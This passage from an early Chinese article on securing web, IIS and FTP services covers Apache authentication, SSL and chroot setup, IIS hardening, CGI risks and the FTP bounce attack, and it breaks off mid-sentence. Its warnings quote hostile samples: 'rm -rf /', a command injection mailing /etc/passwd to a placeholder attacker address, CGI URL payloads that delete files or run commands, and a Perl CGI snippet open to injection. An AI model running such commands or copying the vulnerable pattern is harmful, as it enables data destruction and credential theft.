网络应用服务安全

/ns/wz/net/data/20020821024928.htm

网络应用服务安全

作者:xianjian


第一部分:概述

概念
网络应用服务,指的是在网络上所开放的一些服务,通常能见到如WEB、MAIL、FTP、DNS、
TELNET等,当然,也有一些非通用,在某些领域、行业中自主开发的网络应用服务。我们通
常所说的服务器,既是具有网络服务的主机。
网络应用服务安全,指的是主机上运行的网络应用服务是否能够稳定、持续运行,不会受到
非法的数据破坏及运行影响。
网络安全的威胁来自多个方面,主要包括:操作系统安全、应用服务安全、网络设备安全、
网络传输安全等等,以下我们就网络应用服务与其它安全问题做一比较
与其他安全问题的比较
操作系统安全问题
操作系统安全指的是一个操作系统在其系统管理机制实施中的完整性、强制性、计划性、可
预期性不受干扰、破坏。如操作系统的用户等级管理机制、文件读取权限管理机制、程序执
行权限管理机制、系统资源分配管理机制等。操作系统安全问题的来源主要表现在系统管理
程序编写失误、系统配置失误等方面。其安全问题主要体现在抵御和防范本地攻击。攻击行
为通常表现为攻击者突破以上的一些系统管理机制,对系统的越权访问和控制。
网络设备安全问题
网络设备的安全指的是网络设备是否能长期、持续、稳定地完成其特定的功能和任务。由于
网络设备提供的功能相对操作系统而言大大简化,因此管理程序编写失误方面的系数大大降
低,其安全问题主要来自于系统配置方面的失误。攻击行为主要表现为突破系统控制权身份
验证机制,恶意地修改系统配置。
网络应用服务安全问题的特点
每一个网络应用服务都是由一个或多个程序构成,在讨论安全性问题时,不仅要考虑到服务
端程序,也需要考虑客户端程序。服务端的安全问题主要表现在非法的远程访问,客户端的
安全问题主要表现在本地越权使用客户程序。由于大多数服务的进程由超级用户守护,许多
重大的安全漏洞往往出现在一些以超级用户守护的应用服务程序上。

由于网络应用服务种类繁多、涉及广泛,我们不可能逐一细述,以下我们以网络上是为常用
的三项服务:WEB、FTP、MAIL为例进行分析,以期达到抛砖引玉的效果。

第二部分 WEB安全分析
Web访问身份验证机制
序言
现在很多网站对用户的访问权限进行了严格的限制,用户在访问某些资源时需要给出“用户
名/口令”来确认自己的身份。目前,使用最多的身份认证方法是将用户名、口令存放在一个
数据库中,当用户要访问某些受限制的资源时,要在某一个页面中输入用户名和口令,程序
将用户输入的用户名和口令与数据库存放的“用户名/口令"相比较,如果输入正确,则正常
使用资源,否则,资源访问被拒绝。但是,这种身份认证方式有两个很大的问题,一方面只
要用户有一次身份认证成功,就可以记录下受限资源的链接地址,在下一次访问时只需输入
该地址,而无需通过身份认证过程就可访问受限资源;另一方面用户可以在受限制的资源的
超级链接处点右键,选择“属性",就可以查看到受限制资源的链接地址,直接访问该地址,
使身份认证不能达到预期的效果。
Apache可以很好地解决上述问题。Apache是建立WWW网站的软件,可运行于Linux、 Unix和W
indows操作系统下。下面就以Apache为例介绍用户身份认证功能。
基本原理
Apache实现身份认证的基本原理是:当系统管理员启动身份认证功能后,可以在要限制的目
录中添加一个默认名“.htaccess"的文件。当用户访问该路径下的资源时,系统就会弹出一
个对话框,要求用户输入“用户名/口令"。也就是说,它的身份认证功能不是人为由程序控
制,而是由系统直接控制的。这样就避免了用户记录需要认证的资源的超级链接,不会下次
直接访问资源。

身份认证的限制有多种,可以限定某个目录的读取权,针对IP地址进行的限制,以及一个目
录下各子目录的不同限制。以下我们具体进行说明。
具体实现
基本的Apache用户认证方法:
若对某一目录下的文件如/home/ftp/pub需要做到用户认证,则在httpd.conf 中加入下面的

<Directory /home/ftp/pub>
options indexes followsymlinks
allowoverride authconfig
order allow,deny
allow from all
</Directory >

在目录/home/ftp/pub下放文件.htaccess,内容如下:
authname "shared files"
authtype basic
authuserfile /etc/.passwd
require valid-user

用随Apache来的程序htpasswd 生成文件/etc/.passwd,每行一个用户名:密码

只要能提供正确的用户名和密码对,就允许登录访问,这是针对任何地址来的请求都要求提
供用户名和密码认证。

针对部分网段或地址要求认证:

若公司LAN所在网段为192.168.0.0/24,且有一防火墙专线接入Internet, 内部网卡的地址
为192.168.0.1/32,则现在希望所有通过拨本地163通过防火墙上的apache反向代理向LAN上
的另一WWW服务器访问时需要认证,而本地LAN上的用户不需认证。可以在httpd.conf中放入

<Directory /home/ftp/pub>
Options Indexes FollowSymLinks
AllowOverride AuthConfig
order deny,allow
deny from 192.168.0.1
</Directory>

在/home/ftp/pub/.htaccess中放入:
AuthName "shared files"
AuthType Basic
AuthUserFile /etc/.passwd
require valid-user
satisfy any

对同一目录及其下的子目录有不同的权限,仅某些人可以存取一目录下的子目录如有一目录
/home/ftp/pub/sales,有三个用户user1,user2,user3都需要用户名和密码进入/home/ft
p/pub,仅user1,user2能进入/home/ftp/pub/sales.则 放下面的行到httpd.conf

<Directory /home/ftp/pub>
Options Indexes
AllowOverride AuthConfig
order allow,deny
allow from all
</Directory>

<Directory /home/ftp/pub/sales>
Options Indexes
AllowOverride AuthConfig
order allow,deny
allow from all
</Directory>

设置/home/ftp/pub/.htaccess为:
AuthName "shared files"
AuthType Basic
AuthUserFile /etc/.passwd
require valid-user

设置/home/ftp/pub/sales/.htaccess
AuthName "shared files"
AuthType Basic
AuthUserFile /etc/.passwd
AuthGroupFile /etc/.salesgroup
require group manager

设置文件/etc/.passwd内容为:
user1:passwd1
user2:passwd2
user3:passwd3

设置文件/etc/.salesgroup内容为:
manager: user1 user2

用SSL构建一个安全的Web
简介
众所周知,在网络上以明文传递敏感信息是相当不安全的,因此SSL提供了一种加密手段,在
底层上为上层协议提供服务和加密方案,因此当用户在以HTTP协议传输数据时,窥探者将难
以获取数据的信息。当然加密只是在传输过程中的,对用户是完全透明的。在此,我们仍以
apache为例来说明如何用SSL构建一个安全的WEB。
准备工作
如果你的系统是从头装起的话,建议你留出一个叫/chroot的分区用来运行Apache。至于这个
分区的大小,取决于你自已,一般来说,一个普通的网站有40M也就够了。但你的系统如果早
就运行了Apache,你可以另外开辟一个分区,或者选择不用独立分区来安装,仅仅在根下面
开一个目录。

另外我假定你的系统已经通过了一定的安全检测――在安装Apache之前(如果有其它漏洞存在
的话,你认为运行在其上的Apache会怎样,所谓覆巢之下,焉有完卵:),检测至少要包括(但
不仅限于)――移除不安全的SUID程序、升级某些守护进程,去掉不必要的服务。还假定你是
的WEB SERVER是运行TCP/IP而且有自己的地址。
平台

以下测试都在下列平台下通过:

1、Slackware 4.x distribution using gcc 2.7.2.3 and Perl v5.005_02

2、Solaris 7 on Sparc using gcc v2.8.1 and Perl v5.005_03

获取所需要的软件

因为阿帕奇并没有在她的包里自己SSL,因此我们必须先下载到这些加密网页所必需的部份:

1、Apache Web Server - http://www.apache.org/dist/

不必多说,我们当然需要获得这个web server,现在的版本是1.3.11,阿帕奇是现在世界上
使用最广泛的web server。

2、mod_ssl - http://www.modssl.org

这是一个为Apache1.3.x web server提供强力加密的的软件模块,它使用的是SSL v2和v3以
及TLS(Transport Layer Security)v1 协议。该软件包是在BSD的license下开发的,在非商
业的情况下,你可以自由地使用它,要判断该使用哪一个版本的mod_ssl很简单,它的版本号
是<mod_ssl-version>-<apache-version>格式的,也就是说,你如果用的是1.3.11的Apache
,那么就该用2.50-1.3.11的mod_ssl。

3、mod_perl - http://perl.apache.org/dist/

4、Open SSL - http://www.openssl.org

这一软件包提供了SSL v2/v3(Secure Sockets Layer)及TLS v1(Transport Layer Security
)协议的加密保护。

5、RSAref - 用搜索引擎查找一下"rsaref20.tar.Z"应该就能找到了

我们将把这些程序安装于/usr/local目录下

增加功能模块可以给阿帕奇更强大的功能,如果你需要更多的模块的话,自己去获得它并且
加载,比如mod_php这一模块也是现在流行的,可以使阿帕奇提供php脚本支持……
软件包的安装
在实际安装前我们要决定我们将把web server安装在什么环境下,对于一个对安全有相当高
要求的人来说,可以将服务器和软件安装于chroot环境,chroot改变root 目录并且仅在这一
目录中执行程序,这提供了一个内建的小环境,即使入侵者已经通过cgi程序或者其它办法通
过80端口获得了系统的进入权限,它也只能够在这一受限的环境中活动,从安全角度考量,
这当然是最好的,但对系统管理员来说,这样安装相对麻烦一些,还必须把一些必要的库,
perl以及相关工具也搬到chroot中,所以――你自己决定吧,这里我们介绍的是在chroot下
安装。

展开这些软件包:

#gzip -d -c apache_1.3.11.tar.gz | tar xvf -
#gzip -d -c mod_ssl-2.5.0-1.3.11.tar.gz | tar xvf -
#gzip -d -c openssl-0.9.4.tar.gz | tar xvf -
#gzip -d -c mod_perl-1.21.tar.gz | tar xvf -


展开并且编译rsaref

#mkdir rsaref
#cd rsaref
#gzip -d -c ../rsaref20.tar.Z | tar xvf -
#tar xvf rsaref.tar
#cp -rp install/unix temp
#cd temp
#make
#mv rsaref.a librsaref.a
#cd ../../


编译OpenSSL

#cd openssl-0.9.4
#perl util/perlpath.pl /usr/bin/perl (Path to Perl)
#./config -L`pwd`/../rsaref/temp/
#make
#make test
#cd ..


将mod_perl加到Apache的编译选项里

#cd mod_perl-1.21
#perl Makefile.PL APACHE_PREFIX=/usr/local/apache \

APACHE_SRC=../apache_1.3.11/src \

USE_APACI=1

你会得到下面的提示:

Configure mod_perl with ../apache_1.3.11/src ? [y]

直接按enter就是默认的yes

然后Makefile会问你是否建立httpd,可以用n选择不。

#make
#make install
#cd ..

将mod_ssl加到Apache中

#cd mod_ssl-2.5.0-1.3.11
#./configure --with-apache=../apache_1.3.11 \

--prefix=/usr/local/apache \

--with-ssl=../openssl-0.9.4 \

--with-rsa=../rsaref/temp \

--activate-module=src/modules/perl/libperl.a
#cd ..


编译Apache:

#cd apache_1.3.11

在编译以前我们可以再做一件事――编辑包含http server版本号的文件,使想得到它的入侵
者摸不着脑袋长哪儿:)

#<your favorite text editor> src/include/httpd.h

寻找下面的行 (approx. 454)并且改变server的名字及版本号――可以随便用你想改成的东
西。

define SERVER_BASEVERSION "Apache/1.3.11"

现在你可以编译阿帕奇了

#make

现在你可以生成一个CA了(actual certificate).

#make certificate

按照该授权书的安装介绍做。

#make install

这将会把阿帕奇装在/usr/local/apache。

测试web server (还没装SSL)是否运行正常 ----调用web server:

/usr/local/apache/bin/apachectl start

当WEB服务器运行起来后,你可以用 lynx或者任意什么浏览器连接你的80端口,如果能看到
apache的欢迎页,就OK了。

停止server:

/usr/local/apache/bin/apachectl stop

测试web server (同时起SSL) - 调用带SSL的WEB服务器

/usr/local/apache/bin/apachectl startssl

服务器运行时你用Netscape或者其它支持SSL的浏览器来看https://your.ip.here,看到欢迎
页了么?

要停止SERVER:

/usr/local/apache/bin/apachectl stop
阿帕奇的配置
现在我们可以来看看阿帕奇的配置文件了――需要记住的是如果你对它做了更改,在未重新
启动httpd守护进程前,它是不会发生作用的。好,现在我们可以进目录/usr/local/apache
/conf看看了。

httpd.conf -
这是阿帕奇的主要配置文件,你可以在这里设定服务器启动时的基本环境,比如服务器的启
动方式、端口号、允许的最多连接数等等,这一文件的注释非常详细,要看明白应该没什么
问题。

access.conf -

这一文件是设定系统中的存取方式和环境的,但现在已经可以在httpd.conf中设定了,所以
推荐你别动它,放空好了。

srm.conf -

这家伙主要做的是资源上的设定,你也可以放空,仅仅设定httpd.conf中的相关项。

现在重启web server来使改动生效:

#/usr/local/apache/bin/apachectl restart
将阿帕奇设定在chroot环境下
现在我们开始把刚才建立的东西移到chroot环境下――包括阿帕奇服务器以及所有需要的库
文件。当然如前面所说的,这部份是可选的,如果你怕麻烦的话就算了,但转移后可以对你
的web server多一个可靠的保护。

建立/chroot目录

#mkdir /chroot

建立一些必需的子目录

#mkdir /chroot/dev
#mkdir /chroot/lib
#mkdir /chroot/etc
#mkdir /chroot/bin
#mkdir /chroot/usr
#mkdir /chroot/usr/local


在我们的chroot建立/dev/null

#mknod -m 666 /chroot/dev/null c 1 3

将阿帕奇拷贝到/chroot目录中

#cp -rp /usr/local/apache/ /chroot/usr/local

拷贝必需的二进制文件

#cp /bin/sh /chroot/bin

确定哪些库是必需的――这取决于你编译时内建了哪些模块

#ldd /usr/local/apache/bin/httpd

将需要的库拷贝到chroot目录

#cp /lib/libm.* /chroot/lib/
#cp /lib/libgdbm.* /chroot/lib
#cp /lib/libdb.* /chroot/lib
#cp /lib/libdl.* /chroot/lib
#cp /lib/libc.* /chroot/lib

拷贝网络连接所需要的函数库

#cp /lib/libnss* /chroot/lib

拷贝必需的/etc下的文件到chroot

#cp /etc/passwd /chroot/etc
#cp /etc/shadow /chroot/etc
#cp /etc/group /chroot/etc
#cp /etc/resolv.conf /chroot/etc
#cp /etc/hosts /chroot/etc
#cp /etc/localtime /chroot/etc
#cp /etc/localtime /chroot/etc
#cp /etc/ld.so.* /chroot/etc

测试chroot下的阿帕奇

#chroot /chroot /usr/local/apache/bin/apachectl start

现在再

#chroot /chroot /usr/local/apache/bin/apachectl stop

服务器就停下来了,如果不行的话,再次确认是否所有需要的库都拷到了/chroot/lib下了,
如果仍然无帮助的话,或者可以以strace方式运行httpd,它的输出可能会有一些有价值的内
容可以帮助确定是丢失了哪些库或者二进制文件。

然后我们可以做一些小工作了:默认情况下阿帕奇是以nobody用户及用户组运行的,不要更
改它。

在passwd\shadow\group等文件中包含了大量系统信息,所以你可以替换掉它们。

建立一个用户名为httpd,UID为80
建立一个组名为httpd,GID为80

用下面的命令来将/chroot下的passwd,shadow,group替换掉

#echo "httpd:x:80:100:,,,:/home/httpd:/bin/false" > /chroot/etc/passwd
#echo "httpd:*LK*:11010:0:99999:7:::" > /chroot/etc/shadow
#echo "httpd:x:80:" > /chroot/etc/group

设定好文件的许可权限

#chmod 600 /chroot/etc/passwd shadow group

现在我们可以编辑apache的配置文件并进行需要的配置,文件在/chroot/usr/local/apache
/conf/httpd.conf,寻找到包含apache运行用户及组的信息的行并改变它(approx. line 26
3),当然是改成httpd/httpd。一切运行正常后我们可以删除前面的那些服务器安装的东西―
―/usr/local下的,包括服务器以及那些内建的模块等等。

#rm -rf /usr/local/apache
#rm -rf /usr/local/mod_ssl-2.5.0-1.3.11/
#rm -rf /usr/local/mod_perl-1.21/
#rm -rf /usr/local/openssl-0.9.4/
#rm -rf /usr/local/rsaref

如果以后还想改变它们的配置,增加新的模块,那么将原先的apache留下来也行。

将阿帕奇设定为在开机时自启动,修改/etc/rc.d/rc.local并且加入以下行:

echo "Starting Apache-SSL"
/usr/sbin/chroot/apache/bin/apachectl startssl

如果一切都运行正常的话,那么恭喜你,你已经成功地运行了带SSL支持的阿帕奇了,这会使
你的web server更加安全,如果你希望加入更多的模块实现其它功能的话,自己动手吧,最
后要说明的是:在chroot环境中最好只有必需的一些二进制程序,而SUID程序还是干掉比较
好些。

用IIS建立高安全性Web服务器
IIS(Internet Information Server)作为当今流行的Web服务器之一,提供了强大的Inter
net和Intranet服务功能,如何加强IIS的安全机制,建立一个高安全性能的Web服务器,已成
为IIS设置中不可忽视的重要组成部分。
以下我们以两个方面来阐述加强IIS安全机制的方法。
以Windows NT的安全机制为基础
  作为运行在 Windows NT操作系统环境下的IIS,其安全性也应建立在Windows NT安全性
的基础之上。
1.应用NTFS文件系统
  NTFS可以对文件和目录进行管理,而FAT(文件分配表)文件系统只能提供共享级的安全
,建议在安装Windows NT时使用NTFS系统。
2.共享权限的修改
  在缺省情况下,每建立一个新的共享,其everyone用户就能享有“完全控制”的共享权
限,因此,在建立新共享后要立即修改everyone缺省权限。
3.为系统管理员账号更名
  域用户管理器虽可限制猜测口令的次数,但对系统管理员账号却用不上,这可能给非法
用户带来攻击管理员账号口令的机会,通过域用户管理器对管理员账号更名不失为一种好办
法。具体设置如下:
  (1) 启动“域用户管理器”;
  (2) 选中管理员账号;
  (3) 启动“用户”选单下的“重命名”对其进行修改。
4.废止TCP/IP上的NetBIOS
  管理员可以通过构造目标站NetBIOS名与其IP地址之间的映像,对Internet上的其他服务
器进行管理,非法用户也可从中找到可乘之机。如果这种远程管理不是必须的,应立即废止
(通过网络属性的绑定选项,废止NetBIOS与TCP/IP之间的绑定)。
设置IIS的安全机制
1.安装时应注意的安全问题
  (1)避免安装在主域控制器上
  在安装IIS之后,将在安装的计算机上生成IUSR_Computername匿名账户,该账户被添加
到域用户组中,从而把应用于域用户组的访问权限提供给访问Web服务器的每个匿名用户,这
不仅给IIS带来巨大的潜在危险,而且还可能牵连整个域资源的安全,要尽可能避免把IIS安
装在域控制器上,尤其是主域控制器。
  (2)避免安装在系统分区上
  把IIS安放在系统分区上,会使系统文件与IIS同样面临非法访问,容易使非法用户侵入
系统分区。
2.用户控制的安全性
  (1)匿名用户
  安装IIS后产生的匿名用户IUSR_Computername(密码随机产生),其匿名访问给Web服务
器带来潜在的安全性问题,应对其权限加以控制。如无匿名访问需要,可取消Web的匿名服务
。具体方法:
  ①启动ISM(Internet Server Manager);
  ②启动WWW服务属性页;
  ③取消其匿名访问服务。
  (2)一般用户
  通过使用数字与字母(包括大小写)结合的口令,提高修改密码的频率,封锁失败的登
录尝试以及账户的生存期等对一般用户账户进行管理。
3.登录认证的安全性
  IIS服务器提供对用户三种形式的身份认证。
  匿名访问:不需要与用户之间进行交互,允许任何人匿名访问站点,在这三种身份认证
中的安全性是最低的。
  基本(Basic)验证:在此方式下用户输入的用户名和口令以明文方式在网络上传输,没
有任何加密,非法用户可以通过网上监听来拦截数据包,并从中获取用户名及密码,安全性
能一般。
  Windows NT请求/响应方式:浏览器通过加密方式与IIS服务器进行交流,有效地防止了
窃听者,是安全性比较高的认证形式。这种方式的缺点是只有IE3.0及以上版本才支持。
4.访问权限控制
  (1)文件夹和文件的访问权限:安放在NTFS文件系统上的文件夹和文件,一方面要对其
权限加以控制,对不同的用户组和用户进行不同的权限设置;另外,还可利用NTFS的审核功
能对某些特定用户组成员读文件的企图等方面进行审核,有效地通过监视如文件访问、用户
对象的使用等发现非法用户进行非法活动的前兆,及时加以预防制止。具体方法:
  ①启动“域用户管理器”;
  ②启动“规则”选单下的“审核”选项;
  ③设置“审核规则”。
  (2)WWW目录的访问权限:已经设置成Web目录的文件夹,可以通过操作Web站点属性页
实现对WWW目录访问权限的控制,而该目录下的所有文件和子文件夹都将继承这些安全性。W
WW服务除了提供NTFS文件系统提供的权限外,还提供读取权限,允许用户读取或下载WWW目录
中的文件;执行权限,允许用户运行WWW目录下的程序和脚本。具体设置方法:
  ①启动ISM(Internet服务器管理器);
  ②启动Web属性页并选择“目录”选项卡;
  ③选择WWW目录;
  ④选择“编辑属性”中的“目录属性”进行设置。
5.IP地址的控制
  IIS可以设置允许或拒绝从特定IP发来的服务请求,有选择地允许特定节点的用户访问服
务,你可以通过设置来阻止除指定IP地址外的整个网络用户来访问你的Web服务器。具体设置

  (1) 启动ISM(Internet服务器管理器);
  (2) 启动Web属性页中“高级”选项卡;
  (3) 进行指定IP地址的控制设置。
6.端口安全性的实现
  对于IIS服务,无论是WWW站点、FTP站点,还是NNTP、SMTP服务等都有各自监听和接收浏
览器请求的TCP端口号(Post),一般常用的端口号为:WWW是80,FTP是21,SMTP是25,你可
以通过修改端口号来提高IIS服务器的安全性。如果你修改了端口设置,只有知道端口号的用
户才可以访问,但用户在访问时需要指定新端口号。
7.IP转发的安全性
  IIS服务可提供IP数据包转发功能,此时,充当路由器角色的IIS服务器将会把从Intern
et接口收到的IP数据包转发到内部网中,禁用这一功能不失为提高安全性的好办法。具体设
置如下:
  (1) 启动“网络属性”并选择“协议”选项卡;
  (2) 在TCP/IP属性中去掉“路由选择”。
8.SSL安全机制
  IIS的身份认证除了匿名访问、基本验证和Windows NT请求/响应方式外,还有一种安全
性更高的认证:通过SSL(Security Socket Layer)安全机制使用数字证书。
  SSL(加密套接字协议层)位于HTTP层和TCP层之间,建立用户与服务器之间的加密通信
,确保所传递信息的安全性。SSL是工作在公共密钥和私人密钥基础上的,任何用户都可以获
得公共密钥来加密数据,但解密数据必须要通过相应的私人密钥。使用SSL安全机制时,首先
客户端与服务器建立连接,服务器把它的数字证书与公共密钥一并发送给客户端,客户端随
机生成会话密钥,用从服务器得到的公共密钥对会话密钥进行加密,并把会话密钥在网络上
传递给服务器,而会话密钥只有在服务器端用私人密钥才能解密,这样,客户端和服务器端
就建立了一个惟一的安全通道。具体步骤如下:
  (1) 启动ISM并打开Web站点的属性页;
  (2) 选择“目录安全性”选项卡;
  (3) 单击“密钥管理器”按钮;
  (4) 通过密钥管理器生成密钥对文件和请求文件;
  (5) 从身份认证权限中申请一个证书;
  (6) 通过密钥管理器在服务器上安装证书;
  (7) 激活Web站点的SSL安全性。
  建立了SSL安全机制后,只有SSL允许的客户才能与SSL允许的Web站点进行通信,并且在
使用URL资源定位器时,输入https:// ,而不是http:// 。
  SSL安全机制的实现,将增大系统开销,增加了服务器CPU的额外负担,从而降低了系统
性能,在规划时建议仅考虑为高敏感度的Web目录使用。另外,SSL客户端需要使用IE 3.0及
以上版本才能使用。
WEB安全性的综合策略
WEB在安全上的漏洞
  WEB 服务器上的漏洞可以从以下几方面考虑:
  (1)在web服务器上你不让人访问的秘密文件、目录或重要数据。
  (2)从远程用户向服务器发送信息时,特别是信用卡之类东西时,中途遭不法分子非法
拦截。
  (3) web服务器本身存在的一些漏洞,使得一些人能侵入到主机系统破坏一些重要的数
据,甚至造成系统瘫痪。
  (4)CGI安全方面的漏洞有:
   1〕有意或无意在主机系统中遗漏(bugs)给非法黑客创造条件。
   2〕用 CGI脚本编写的程序当涉及到远程用户从浏览器中输入表格(form) 并进行象检
索(Search index)或form-mail之类在主机上直接操作命令时,或许会给web主机系统造成危
险。
  因此,从CGI角度考虑WEB的安全性,主要是在编制程序时,应详细考虑到安全因素。尽
量避免CGI程序中存在漏洞。

  从web服务器版本上分析:
  在1995年3月发现NCSA1.3以下版本的HTTPD明显存在安全上的漏洞,即客户计算机可以任
意地执行服务器上面的命令,非常危险。但,NCSA1.4以上版本的服务器就补上了这个漏洞。
还有一些简单的从网上下载WEB服务器,没有过多考虑到一些安全因素,不能用作商业应用。

   因此,不管是配置服务器,还是在编写 CGI程序时都要注意系统的安全性。尽量堵住
任何存在的漏洞,创造安全的环境。在具体服务器设置及编写 cgi程序时应该注意:

  管理服务器上
  1)禁止乱用从其他网中下载的一些工具软件,并在没有详细了解之前尽量不要用root身
份注册执行。以防止某些程序员在程序中设下的陷井,如:程序中加上一两行 "rm -rf /"或
"mail username < /etc/passwd" 之类情况发生。
  2)在选用 web服务器时,应考虑到不同服务器对安全的要求不一样。一些简单的 web服
务器就没有考虑到一些安全的因素,不能把他用作商业应用。只作一些个人的网点。
  3)在利用WEB中的.htpass来管理和校验用户口令时,存在校验的口令和用户名不受次数
限制。

如何在WEB上提高系统安全性和稳定性
  web服务器安全预防措施:
〔1〕限制在web服务器开帐户,定期删除一些断进程的用户。
  〔2〕对在web服务器上开的帐户,在口令长度及定期更改方面作出要求,防止被盗用。
〔3〕尽量使ftp, mail等服务器与之分开,去掉ftp,sendmail,tftp,NIS, NFS,finge
r,netstat等一些无关的应用。
  〔4〕在web服务器上去掉一些绝对不用的shell等之类解释器,即当在你的 cgi的程序中
没用到perl时,就尽量把perl在系统解释器中删除掉。
  〔5〕定期查看服务器中的日志logs文件,分析一切可疑事件。在errorlog 中出现rm,
login, /bin/perl, /bin/sh 等之类记录时,你的服务器可能有受到一些非法用户的入侵
的尝试。
  〔6〕设置好web服务器上系统文件的权限和属性,对可让人访问的文档分配一个公用的
组如:www,并只分配它只读的权利。把所有的HTML文件归属WWW组,由WEB管理员管理WWW组
。对于WEB的配置文件仅对WEB管理员有写的权利。
  〔7〕有些WEB服务器把WEB的文档目录与FTP目录指在同一目录时,应该注意不要把FTP的
目录与CGI-BIN指定在一个目录之下。这样是为了防止一些用户通过 FTP上在一些尤如PERL或
SH之类程序并用WEB的CGI-BIN去执行造成不良后果。
  〔8〕通过限制许可访问用户IP或DNS如:
   在NCSA中的access.conf中加上:
   < Directory /full/path/to/directory >
    < Limit GET POST >
    order mutual-failure
    deny from all
    allow from 168.160.142. abc.net.cn
    < /Limit >
   < /Directory >
   这样只能是以域名为abc.net.cn或IP属于168.160.142的客户访问该WEB服务器。对于C
ERN或W3C服务器可以这样在httpd.conf中加上:
   Protection LOCAL-USERS {
   GetMask @(*.capricorn.com, *.zoo.org, 18.157.0.5)
   }
   Protect /relative/path/to/directory/* LOCAL-USERS

  〔9〕WINDOWS下HTTPD
   1)Netscape Communications Server for NT
   〖1〗Perl解释器的漏洞
   Netscape Communications Server中无法识别cgi-bin下的扩展名及其应用关系,如:
.pl是PERL的代码程序自动调用 perl.exe文件解释,即使现在也只能把perl.exe文件存放在
cgi-bin目录之下。执行如:
/cgi-bin/perl.exe?&my_script.pl. 但是这就给任何人都有执行 perl的可能,当有些人在
其浏览器的URL中加上如:/cgi-bin/perl.exe?&-e+unlink+%3C*%3E 时,有可能造成删除服
务器当前目录下文件的危险。但是,其他如:O'Reilly WebSite或Purveyor都不存在这种漏
洞。
   〖2〗CGI执行批处理文件的漏洞
   文件名:test.bat:
    @echo off
    echo Content-type: text/plain
    echo
    echo Hello World!
   如果客户浏览器的URL为:/cgi-bin/test.bat?&dir则执行调用命令解释器完成dir列
表。这给访问者有执行其他命令可能性。
   2)O'Reilly WebSite server for Windows NT/95
   在WebSite1.1B以前的版本中使用配处理文件存在着Netscape同样的漏洞,但是,新版
关闭.bat在cgi中的作用。支持perl,VB和C作为CGI开发工具。至于他的安全问题参看:htt
p://website.ora.com/devcomer/secalert1。
   3)Microsoft's IIS Web Server
   在96年3月5日前的IIS在NT下的.bat CGI的 bug甚至比其他更严重,可以任意使用comm
and命令。但之后修补该漏洞。你可检查你的可执行文件的建立日期。IIS3.0还存在一些安全
bug,主要是cgi-bin下的覆给权利。
   另外,许多 WEB服务器本身都存在一些安全上的漏洞,都是在版本升级过程不断更新。
在这就不一一列举。

从CGI编程角度考虑安全
  〔1〕采用编译语言比解释语言会更安全些,并且 CGI程序应放在独立于HTML 存放目录
之外的CGI-BIN下,是为了防止一些非法访问者从浏览器端取得解释性语言的原代码后从中寻
找漏洞。
  〔2〕在用C来编写CGI程序时尽量少用popen(), system()和所有涉及/bin/sh 的shell
命令。在Perl中system(), exec(), open(),eval()等exec或eval之类命令。在由用户填
写的form还回cgi时,不要直接调用system()之类函数。这是为避免当填写内容为“rm -rf
/*”或“/usr/lib/sendmail nobody@nowhere.com; mail badguys@hell.org< /etc/passwd
”之类内容。
  〔3〕用Perl编写CGI时如:
   $mail_to = &get_name_from_input;
     open (MAIL,"| /usr/lib/sendmail $mail_to");
     print MAIL "To: $mailto\nFrom: me\n\nHi there!\n";
     close MAIL;
该小程序是把客户浏览器的form到服务器的mail处理程序。


第三部分 FTP安全性分析
概述
文件传输协议(File Transfer Protocol,FTP)是一个被广泛应用的协议,它使得我们能够在
网络上方便地传输文件。早期FTP并没有涉及安全问题,随着互连网应用的快速增长,人们对
安全的要求也不断提高。本文在介绍了FTP协议的基本特征后,从两个方面探讨了FTP安全问
题的解决方案:协议在安全功能方面扩展;协议自身的安全问题以及用户如何防范之。

简介
FTP的一些特性
  早期对FTP的定义指出,FTP是一个ARPA计算机网络上主机间文件传输的用户级协议。其
主要功能是方便主机间的文件传输,并且允许在其他主机上进行方便的存储和文件处理。[B
A72]而现在FTP的应用范围则是Internet。

根据FTP STD 9定义,FTP的目标包括:[PR85]
  1) 促进文件(程序或数据)的共享
  2) 支持间接或隐式地使用远程计算机
  3) 帮助用户避开主机上不同的
  4) 可靠并有效地传输数据

关于FTP的一些其他性质包括:FTP可以被用户在终端使用,但通常是给程序使用的。FTP中主
要采用了传输控制协议(Transmission Control Protocol,TCP)[PJ81],和Telnet 协议[PJ
83]。

协议的安全问题及防范措施

防范反弹攻击(The Bounce Attack)

a. 漏洞

FTP规范[PR85]定义了“代理FTP”机制,即服务器间交互模型。支持客户建
  立一个FTP控制连接,然后在两个服务间传送文件。同时FTP规范中对使用TCP的端口号没
有任何限制,而从0-1023的TCP端口号保留用于众所周知的网络服务。所以,通过“代理FT
P”,客户可以命令FTP服务器攻击任何一台机器上的众所周知的服务。

b. 反弹攻击

客户发送一个包含被攻击的机器和服务的网络地址和端口号的FTP“PORT”
  命令。这时客户要求FTP服务器向被攻击的服务发送一个文件,这个文件中应包含与被攻
击的服务相关的命令(例如:SMTP、NNTP)。由于是命令第三方去连接服务,而不是直接连接
,这样不仅使追踪攻击者变得困难,还能避开基于网络地址的访问限制。


c. 防范措施

最简单的办法就是封住漏洞。首先,服务器最好不要建立TCP端口号在1024
  以下的连接。如果服务器收到一个包含TCP端口号在1024以下的PORT命令,服务器可以返
回消息504([PR85]中定义为“对这种参数命令不能实现”)。
  其次,禁止使用PORT命令也是一个可选的防范反弹攻击的方案。大多数的文件传输只需
要PASV命令。这样做的缺点是失去了使用“代理FTP”的可能性,但是在某些环境中并不需要
“代理FTP”。

d. 遗留问题

光控制1024以下的连接,仍会使用户定义的服务(TCP端口号在1024以上)
  遭受反弹攻击。

有限制的访问(Restricted Access)

a. 需求

对一些FTP服务器来说,基于网络地址的访问控制是非常渴望的。例如,服
  务器可能希望限制来自某些地点的对某些文件的访问(例如为了某些文件不被传送到组
织以外)。另外,客户也需要知道连接是有所期望的服务器建立的。

b. 攻击

攻击者可以利用这样的情况,控制连接是在可信任的主机之上,而数据连接却不是。

c. 防范措施

在建立连接前,双方需要同时认证远端主机的控制连接,数据连接的网络
  地址是否可信(如在组织之内),

d. 遗留问题

基于网络地址的访问控制可以起一定作用,但还可能受到“地址盗用
  (spoof)”攻击。在spoof攻击中,攻击机器可以冒用在组织内的机器的网络地址,从而
将文件下载到在组织之外的未授权的机器上。

保护密码(Protecting Passwords)

a. 漏洞

第一、在FTP标准[PR85]中,FTP服务器允许无限次输入密码。
第二、“PASS”命令以明文传送密码

b. 攻击

强力攻击有两种表现:在同一连接上直接强力攻击;和服务器建立多个、
  并行的连接进行强力攻击。

c. 防范措施

对第一种中强力攻击,建议服务器限制尝试输入正确口令的次数。在几次
  尝试失败后,服务器应关闭和客户的控制连接。在关闭之前,服务器可以发送返回码42
